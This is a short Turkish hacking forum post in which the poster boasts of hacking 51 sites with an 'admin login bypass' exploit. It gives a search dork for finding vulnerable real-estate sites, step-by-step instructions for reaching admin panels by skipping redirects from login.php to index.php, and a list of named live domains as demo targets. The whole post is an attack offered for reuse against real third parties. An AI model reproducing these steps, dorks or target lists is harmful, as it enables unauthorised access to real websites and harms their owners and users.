agent admin login bypass

Arkadaşlar dünkü 51 site hacklediğim exploit bu. Bir bakın bakalım yinede siteleri hackleyebilirsiniz.

dork:inurl:request_appt.php?id=

proof of concept + + find target + + and enter target.com/admin/login.php + + change admin/login.php to admin/index.php + + if not access to site open noredirects on firefox and add target.com/admin/login + + come back url and type target.com/admin/index.php + + Access is done

+ demo: + + http://bsrrealtyinc.com/admin/login.php
http://bsrrealtyinc.com/admin/login.php + +
www.stonetowerproperties.com/admin/login.php + +
cottage-realty.com/admin/login.php + +
thedahmteam.com/admin/login.php + +

 

Eyw.
Edit: http://www.townchase.com/company.php

 

Eline Sağlık